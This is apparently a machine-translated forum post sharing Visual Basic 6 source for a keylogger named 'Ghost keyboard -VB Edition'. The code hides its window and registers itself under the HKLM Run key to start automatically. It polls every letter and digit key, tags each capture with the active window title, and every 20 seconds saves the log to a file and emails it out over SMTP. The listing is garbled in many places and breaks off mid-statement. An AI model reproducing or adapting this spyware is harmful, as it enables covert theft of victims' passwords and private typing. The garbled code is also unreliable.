This is a program I wrote a similar keyboard ghost. Let's take a look. Bored at night, don't take bad things.
mCommon.basAttribute VB_Name = "mFuncation" 'disposed hook Public Function Hook (ByVal hWnd As Long)' monitors all message 'Settings sub-category lpPrevWndProc = SetWindowLong (hWnd, GWL_WNDPROC, AddressOf WindowProc) End Function' unloading hook Public Sub UnHook (ByVal hWnd status as Long) 'unloading Subcategories Call SetWindowLong (hWnd, GWL_WNDPROC, lpPrevWndProc) End sub' provided CAPS key and NUMLOCK key for opening Public Function CAPSLOCKON () as Boolean Static bInit as Boolean Static bOn as Boolean If Not bInit Then While GetAsyncKeyState (VK_CAPITAL) Wend bOn = GetKeyState (VK_CAPITAL) bInit = True Else If GetAsyncKeyState (VK_CAPITAL) Then While GetAsyncKeyState (VK_CAPITAL) DoEvents Wend bOn = Not bOn End If End If CAPSLOCKON = bOnEnd Function 'to obtain a title of the form Public Function GetCaption ( WINDOWHANDLE As Long AS STRING DIM STRBUFFER AS STRING, LNGTEXTLENGTH AS Long LNGTEXTLENGTH = GetWindowTextLength Strbuffer = String (LNGTextLength, 0) Call Getwin dowText (WindowHandle, strBuffer, lngTextLength 1) GetCaption $ = strBufferEnd FunctionFunction WindowProc (ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long WindowProc = CallWindowProc (lpPrevWndProc, hw, uMsg, wParam , lParam) End FunctionmAPI.basAttribute VB_Name = "mAPI" 'affirms APIDeclare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long ) As longdeclare function setwindowlong lib "user32" alias "setwindowlonga"
(ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongDeclare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As IntegerDeclare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As IntegerDeclare Function RegOpenKeyExA Lib " advapi32.dll "(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As LongDeclare Function RegSetValueExA Lib" advapi32.dll "(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As LongDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongDeclare Function GetForegroundWindow Lib "user32.dll" () As LongDeclare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As LongDeclare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long 'stated constant Con st VK_CAPITAL = & H14Const REG As Long = 1Const HKEY_LOCAL_MACHINE As Long = & H80000002Const HWND_TOPMOST = -1Const SWP_NOMOVE = & H2Const SWP_NOSIZE = & H1Const flags = SWP_NOMOVE Or SWP_NOSIZEConst GWL_WNDPROC = -4 frmMain.frmVERSION 5.00Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB } # 1.2 # 0 ";" comdlg32.ocx "object =" {3B7C8863-D78F-101B-B9B5-04021C009402} # 1.2 # 0 ";" richtx32.ocx "object =" {248DD890-BB45-11CF-9ABC-0080C7E7B78D } # 1.0 # 0 ";" mswinsck.ocx "begin vb.form frmmain borderstyle = 1 'fixed single capen ="
Ghost keyboard -VB Edition "ClientHeight = 4305 ClientLeft = 45 ClientTop = 435 ClientWidth = 6750 Icon =" frmMain.frx ": 0000 LinkTopic =" Form1 "MaxButton = 0 'False MinButton = 0' False ScaleHeight 4305 ScaleWidth = 6750 StartUpPosition = = 3 'default window Begin VB.CheckBox chkShowForm Caption = "form run Setup appears achieve" Enabled = 0' False Height = 255 Left = 3000 TabIndex = 15 Top = 1920 Width = 2175 End Begin MSWinsockLib.Winsock Winsock1 Left = 720 Top = 120 _extentx = 741 _extenty = 741 _version = 393216 end begin vb.timer time2 enabled = 0 'false interval = 20000 LEFT = 5520 TOP = 3360 End Begin vb.timer timer1 enabled = 0 'False Interval = 1 Left = 5160 Top = 3360 End Begin VB.CommandButton cmdExit Caption = "Exit" Height = 375 Left = 4800 TabIndex = 14 Top = 3840 Width = 975 End Begin RichTextLib.RichTextBox txtKeyLog Height = 735 Left = 4080 TabIndex = 13 TOP = 840 Visible = 0 '
False Width = 2415 _ExtentX = 4260 _ExtentY = 1296 _Version = 393217 ScrollBars = 3 DisableNoScroll = -1 'True Appearance = 0 TextRTF = $ "frmMain.frx": 08CA End Begin VB.CommandButton cmdStart Caption = "OK" Height = 375 Left = 3480 TabIndex = 12 Top = 3840 Width = 1095 End Begin VB.TextBox txtEmail Appearance = 0 'Flat Enabled = 0' False Height = 270 Left = 2280 TabIndex = 11 Top = 3360 Width = 2655 End Begin VB.TextBox txtPort Alignment = 2 'center appearance = 0' flat enabled = 0 'false height = 270 left = 5280 maxLENGTH = 5 TabINDEX = 9 Text = "25" Top = 2940 Width = 735 End Begin VB.TextBox txtSmtp Appearance = 0 'Flat Enabled = 0' False Height = 270 Left = 2280 TabIndex = 7 Text = "Localhost" Top = 2940 Width = 2655 End Begin VB. CheckBox Chksendmail Caption = "Do you send your keyboard to an email to an automatic email?" Height = 375 left =
240 TabIndex = 5 Top = 2400 Width = 4335 End Begin VB.CheckBox chkStartup Caption = "whether to automatically start running" Height = 255 Left = 240 TabIndex = 4 Top = 1920 Width = 2415 End Begin VB.CommandButton cmdSavePath Appearance = 0 ' Flat Caption = "..." Enabled = 0 'False Height = 255 Left = 3240 TabIndex = 3 Top = 1440 Width = 495 End Begin VB.TextBox txtFilePath Appearance = 0' Flat Enabled = 0 'False Height = 270 Left = 240 TabINDEX = 2 TOP = 1440 width = 2895 end begin mscomdlg.commondialog cdgsavefile left = 120 TOP = 120 _extentx = 847 _exte NTY = 847 _Version = 393216 Dialogtitle = "Save Keyboard Record File" Filter = "text file (* .txt) | * .txt" initdir = "c: /" end begin vb.checkbox chksavefile caption = "Whether it will be stored as File "Height = 255 Left = 240 TabINDEX = 1 TOP = 960 width = 2295 End Begin vb.label Lblemail Alignment = 2 'Center AutoSize = -1'
True Caption = "Email:" Enabled = 0 'False Height = 180 Left = 1560 TabIndex = 10 Top = 3420 Width = 630 End Begin VB.Label lblPort Alignment = 2' Center AutoSize = -1 'True Caption =: Enabled "" = 0 'False Height = 180 Left = 5040 TabIndex = 8 Top = 3000 Width = 180 End Begin VB.Label lblSmtp Alignment = 2' Center AutoSize = -1 'True Caption = "Smtp server:" Enabled = 0' False Height = 180 Left = 1080 TabINDEX = 6 TOP = 3000 width = 1080 End Begin vb.Label LBLAPPNAME Alignment = 2 'Center AutoSize = -1' True Caption = "Run Set" be ginProperty Font Name = "Chinese clouds" Size = 26.25 Charset = 134 Weight = 400 Underline = 0 'False Italic = 0' False Strikethrough = 0 'False EndProperty Height = 540 Left = 2310 TabIndex = 0 Top = 240 Width = 2115 EndEndAttribute VB_Name = "frmmain"
Attribute VB_GlobalNameSpace = FalseAttribute VB_Creatable = FalseAttribute VB_PredeclaredId = TrueAttribute VB_Exposed = False 'SMTP various conditions enumerated Private Enum SMTP_State MAIL_CONNECT MAIL_HELO MAIL_FROM MAIL_RCPTTO MAIL_DATA MAIL_DOT MAIL_QUITEnd Enum' declare variables Dim strWindow As StringDim strErrorFile As StringDim m_State As SMTP_StatePrivate Sub chkSaveFile_Click () If chkSaveFile.Value = Checked Then txtFilePath.Enabled = True cmdSavePath.Enabled = True Else txtFilePath.Enabled = False cmdSavePath.Enabled = False End IfEnd SubPrivate Sub chkSendMail_Click () If chkSendMail.Value = Checked Then lblSmtp.Enabled = True txtSmtp.Enabled = True lblPort.Enabled = True txtPort.Enabled = True lblEmail.Enabled = True txtEmail.Enabled = True Else lblSmtp.Enabled = False txtSmtp.Enabled = False lblPort.Enabled = False txtPort.Enabled = False lblEmail.Enabled = False txtEmail.Enabled = False End IfEnd SubPrivate Sub chkStartup_Click () If chkStartup.Value = Checked Then chkShowForm.Enabled = True Else chkShowForm.Enabled = False End IfEnd SubPrivate Sub cmdExit_Click () Unload Me EndEnd SubPrivate Sub cmdSavePath_Click () cdgSaveFile.ShowSave txtFilePath. Text = cdgSaveFile.FileNameEnd SubPrivate Sub cmdStart_Click () Dim objWSHShell as Object Set objWSHShell = CreateObject ( "WScript.Shell") If chkSaveFile.Value = Checked Then If txtFilePath.Text = "" Then MsgBox "keyboard log file directory is empty." Vbokonly, "
Error "EXIT SUB End if Savesetting App.Exename," Setting "," Savefile "," True "Savesetting App.Exename," Setting "," FilePath ", TXTFILEPATH.TEXT OPEN TXTFILEPATH.TEXT for append as # 1 Write # 1 , VBCRLF WRITE # 1, "[Log Start Time:" & Now & "]" Log Start Recording Time Write # 1, String (50, "-") Close # 1 else savesetting app.exename, "setting", " Savefile "," false "Savesetting App.Exename," Setting "," FilePath "," End if if chksendmail.value = Checked TXTEMAIL.TEXT = "" OR TXTSMTP.TEXT = "" OR TXTPORT.TEXT = " "THEN MSGBOX" Please fill in the full mail message ", Vbokonly," Error "EXIT SUB End If Savesetting App.Exename," Setting "," Sendmail "," True "Savesetting App.Exename," Setting "," SMTP ", TXTSMTP.TEXT SAVESETTING APP.Exename, "Setting", "Port", TXTPORT.TEXT SAVESETING APP.EXENAME, "Setting", "Email", TXTemail.Text Else Savesetting App.Exename, "Setting", "Sendmail", "False" Savesetting App.Exename, "Setting", "SMTP", "SAVESETTING APP.EXENAME," Setting "," Port "," Savesetting App.Exename, "Setting", "EMAIL", "" End if if chkstartup.value = checked the Savesetting app.exename, "setting", "startup", "true" objwshshell.regwrite "
HKLM / SOFTWARE / Microsoft / Windows / CurrentVersion / Run / Keyghost-VB ", App.Path &" / "& App.Exename &" .exe "if ChkshowForm.Value = Checked the Savesetting App.Exename," Setting "," ShowForm "," True "Else SaveSetting App.EXEName," Setting "," ShowForm "," False "End If Else objWSHShell.RegWrite" HKLM / Software / Microsoft / Windows / CurrentVersion / Run / KeyGhost-VB "," "SaveSetting App.Exename, "Setting", "Startup", "False" end if Timer1.enabled = true timer2.enabled = true me.visible = false "If the program is run, the program IF is no longer running App.PrevInstance = True Then Unload Me End End If Hook Me.hWnd If GetSetting (App.EXEName, "Setting", "SaveFile") = "True" Then chkSaveFile.Value = Checked txtFilePath.Enabled = True cmdSavePath.Enabled = True End ififf getSetting (app.exename, "setting", "filepath") <> "" "" "" "" "" "" "" "" ting "," FilePath ") End If If GetSetting (App.EXEName," Setting "," SendMail ") =" True "Then chkSendMail.Value = Checked lblSmtp.Enabled = True txtSmtp.Enabled = True lblPort.Enabled = True txtPort .Enabled = true lblemail.enabled = true txtemail.enabled = true end if if getsetting (app.exename, "setting", "smtp") <> "" THEN TXTSMTP.TEXT =
GetSetting (App.Exename, "SETTING", "SMTP") End ififf getting (app.exename, "setting", "port") <> "" "", "," "Port") end if if getsetting (app.exename, "setting", "email") <> "" THXTEMAIL.TEXT = GetSetting (app.exename, "setting", "email") End ififf getting .Exename, "setting", "startup") = "true" Then Chkstartup.value = checked if getsetting (app.exename, "setting", "showform") = "true" the chkshowform.value = checked me.visible = true Else chkShowForm.Value = Checked cmdStart_Click End If End If strWindow = GetCaption (GetForegroundWindow) End SubPrivate Sub Form_Unload (Cancel As Integer) unHook Me.hWndEnd Sub 'every 20 seconds or the keyboard records written to the file is sent by email Private SUB TIMER2_TIMER () if Chksavefile.Value = Checked Then TxtFilePath.Text for append as # 1 Write # 1, txtkeylog.text close # 1 'Clear the content of the RichTextBox control to release memory TX tKeyLog.Text = "" End IfIf chkSendMail.Value = Checked Then Winsock1.Connect Trim (txtSmtp.Text), CInt (txtPort.Text) m_State = MAIL_CONNECTEnd IfEnd SubPrivate Sub txtPort_KeyPress (KeyAscii As Integer) Select Case KeyAscii Case 48 To 57 Case VBKEYBACK, VBKEYTAB CASE ELSE Keyascii =
0 End SelectEnd SubPrivate Sub Winsock1_DataArrival (ByVal bytesTotal As Long) Dim strServerResponse As String Dim strResponseCode As String Dim strDataToSend As String Winsock1.GetData strServerResponse strResponseCode = Left (strServerResponse, 3) If strResponseCode = "250" Or _ strResponseCode = "220" Or _ strResponseCode = "354" Then Select Case m_State Case MAIL_CONNECT m_State = MAIL_HELO strDataToSend = Trim (txtEmail.Text) strDataToSend = Left (strDataToSend, _ InStr (1, strDataToSend, "@") - 1) Winsock1.SendData "HELO" & strDataToSend & vbCrLf Case MAIL_HELO m_State = MAIL_FROM Winsock1.SendData "MAIL FROM:" & "" & vbCrLf Case MAIL_FROM m_State = MAIL_RCPTTO Winsock1.SendData "RCPT TO:" & Trim (txtEmail.Text) & vbCrLf Case MAIL_RCPTTO m_State = MAIL_DATA Winsock1.SendData "DATA" & vbCrLf Case MAIL_DATA m_State = MAIL_DOT Winsock1.SendData "Subject:" & "Ghost -VB keyboard version of the keyboard log file" & Now & vbLf & vbCrLf Dim varLines As Variant Dim varLine As Variant Dim strMessage As strmessage = txtKeylog.text & vbcrlf & vbcrlf Winsock1.senddata "." & Vbcrlf case mail_dot m_state =
MAIL_QUIT Winsock1.SendData "QUIT" & vbCrLf Case MAIL_QUIT Winsock1.Close End Select Else Winsock1.Close If Not m_State = MAIL_QUIT Then strErrorFile = "errorlog.txt" Open App.Path & "/" & strErrorFile For Append As # 2 Write # 2, "Mail sent error:" & Number & Description & vbCrLf Close # 2 End If End IfEnd SubPrivate Sub Winsock1_Error (ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) strErrorFile = "errorlog.txt" Open App.Path & "/" & strErrorFile For Append As # 2 Write # 2, "sends an error message:" & Number & Description & vbCrLf Close # 2End SubPrivate Sub timer1_timer () If the obtained window title is not the title stored in the previous variable, re-change the value of the set variable, and reset the keyboard log content if strwindow <> getCaption (getForeGrouption "TXTKEYLOG.TEXT = TXTKEYLOG.TEXT & CHR (13) & chr (13) & "[" & Time & "- Window:" & Strwindow & "]" & chr (13) Endiffow The following program will record the operation of the keyboard and save in the RichtextBox control ' press Ctrl lngShift F12 is calling the program Dim lngKeyState As LongDim lngShift As LonglngShift = GetAsyncKeyState (vbKeyShift) 'recording uppercase A and lowercase letters alngKeyState = GetAsyncKeyState (vbKeyA) if (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1 ) = & H1) or (capslockon = false and lngshift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT =
txtKeyLog.Text "A" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "a" End If 'recording uppercase B and lowercase letters blngKeyState = GetAsyncKeyState (vbKeyB) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False and lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "B" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 and (lngKeyState and & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "b" End If 'recording uppercase and lowercase letters C clngKeyState = GetAsyncKeyState (vbKeyC) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "C" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & h1) or (Capsl OCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "c" End If 'recording uppercase and lowercase letters D dlngKeyState = GetAsyncKeyState (vbKeyD) If (CAPSLOCKON = True AND lngshift = 0 and (lngKeyState and & H1) = & h1) or (capslockon = false and lngshift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "D"
End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "d" End If 'recording uppercase E and lowercase letters elngKeyState = GetAsyncKeyState (vbKeyE) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False and lngShift <> 0 and (lngKeyState and & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "E" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "e" End If 'recording uppercase and lowercase letters F flngKeyState = GetAsyncKeyState (vbKeyF) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "F" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (Capslockon = True and LNG Shift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "f" End If 'recording uppercase and lowercase letters G glngKeyState = GetAsyncKeyState (vbKeyG) If (CAPSLOCKON = True And lngShift = 0 AND (LNGKEYSTATE AND & H1) = & h1) or (Capslockon = false and lngshift <> 0 and (lngKeyState and & H1) = & h1) TxtKeylog.text = txtKeylog.Text "G" end ifif (Capslockon =
False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "g" End If 'recording uppercase letter H and lowercase hlngKeyState = GetAsyncKeyState (vbKeyH) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False and lngShift <> 0 and (lngKeyState and & H1) = & H1) Then txtKeyLog .Text = txtKeyLog.Text "H" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog .Text = txtKeyLog.Text "h" End If 'I recorded uppercase and lowercase letters ilngKeyState = GetAsyncKeyState (vbKeyI) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False and lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "I" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And LNGSHIFT <> 0 and (LngKeys tate And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "i" End If 'recording uppercase and lowercase letters J jlngKeyState = GetAsyncKeyState (vbKeyJ) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) or (Capslockon = false and lngshift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "j" end ifif (Capslockon = false and lngshift =
0 and (lngKeyState and & H1) = & h1) or (capslockon = true and lngshift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "J" end if "record uppercase letters K and lowercase letter klngKeyState = GetAsyncKeyState (vbKeyK) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog .Text "K" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog .Text "k" End If 'recording uppercase letters L and lowercase letters llngKeyState = GetAsyncKeyState (vbKeyL) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False and lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "L" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 AND (LNGKEYSTATE AND & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "l" End If 'M recording uppercase and lowercase letters mlngKeyState = GetAsyncKeyState (vbKeyM) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False and lngshift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "M" end ifif (Capslockon = false and lngshift = 0 and (lngKeyState and & H1) =
& H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "m" End If 'N recording uppercase and lowercase letters nlngKeyState = GetAsyncKeyState (vbKeyN) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "N" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "n" End If 'recording uppercase O and lowercase letters olngKeyState = GetAsyncKeyState (vbKeyO) If (CAPSLOCKON = True and lngShift = 0 and (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = False and lngShift <> 0 and (lngKeyState and & H1) = & H1 ) Then txtKeyLog.Text = txtKeyLog.Text "O" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1 ) THEN TXTKEYLOG.TEXT = TXTKE yLog.Text "o" End If 'recording uppercase letters P and lowercase letters plngKeyState = GetAsyncKeyState (vbKeyP) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "P" end ifif (Capslockon = false and lngshift = 0 and (lngKeyState and & H1) = & h1) or (Capslockon =
True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "p" End If 'recording uppercase and lowercase letters Q qlngKeyState = GetAsyncKeyState (vbKeyQ) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "Q" End IfIf (CAPSLOCKON = False And lngShift = 0 AND (LNGKEYSTATE AND & H1) = & H1) or (Capslockon = true and lngshift <> 0 and (lngKeyState and & H1) = & H1) THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "q" end if 'records uppercase letters R and lowercase rlngKeyState = GetAsyncKeyState (vbKeyR) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "R" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = TXTKEYLOG.TEXT "R" end if " Recording capital S and lowercase letters slngKeyState = GetAsyncKeyState (vbKeyS) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) TxtKeylog.text = txtKeylog.Text "S" end ifif (Capslockon = false and lngshift = 0 and (lngKeyState and & H1) = & h1) or (Capslockon = true and lngshift <>
0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "s" End If 'recording uppercase and lowercase letters T tlngKeyState = GetAsyncKeyState (vbKeyT) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "T" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState and & H1) = & H1) Or (CAPSLOCKON = True and lngShift <> 0 and (lngKeyState and & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "t" End If 'recording uppercase U and lowercase letters ulngKeyState = GetAsyncKeyState (vbKeyU) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text " U "End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text " u "end if 'record uppercase letters V and lowercase letters VLngKeyst ate = GetAsyncKeyState (vbKeyV) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog. Text "V" end ifif (Capslockon = false and lngshift = 0 and (lngKeyState and & H1) = & h1) or (Capslockon = true and lngshift <> 0 and (lngKeyState and & H1) =
& H1) Then txtKeyLog.Text = txtKeyLog.Text "v" End If 'W recording uppercase and lowercase letters wlngKeyState = GetAsyncKeyState (vbKeyW) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or ( CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "W" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or ( CAPSLOCKON = True and lngShift <> 0 and (lngKeyState and & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "w" End If 'recording uppercase and lowercase letters X xlngKeyState = GetAsyncKeyState (vbKeyX) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "X" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "x" End If 'recording uppercase Y and lowercase letters YLngKeyState = getasynckeyState (vbkeyy) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "Y" End IFIF (Capslockon = false and lngshift = 0 and (LNGKEYSTATE AND & H1) = & H1) OR (Capslockon = true and lngshift <> 0 and (lngKeyState and & H1) = & h1) THEN TXTKEYLOG.TEXT =
txtKeyLog.Text "y" End If 'recording uppercase letters Z and lowercase letters zlngKeyState = GetAsyncKeyState (vbKeyZ) If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "Z" End IfIf (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And & H1) = & H1) Or (CAPSLOCKON = True And lngShift <> 0 and (lngKeyState and & H1) = & H1) Then txtKeyLog.Text = txtKeyLog.Text "z" End If 'recording digital 1 and! number lngKeyState = GetAsyncKeyState (vbKey1) If lngShift = 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "1" End IfIf lngShift <> 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "!" End If 'digital recording @ 2 and No. lngKeyState = GetAsyncKeyState ( vbKey2) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "2" End IfIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " @ "End if 'record number 3 and # 号 LNGKEYSTATE = GetasyncKeyst ate (vbKey3) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "3" End IfIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "#" End if 'record numbers 4 and $ number LNGKEYSTATE = getasynckeyState (vbkey4) if lngshift = 0 and (lngKeyState and & H1) = & h1 Then TxtKeylog.text = txtKeylog.Text "
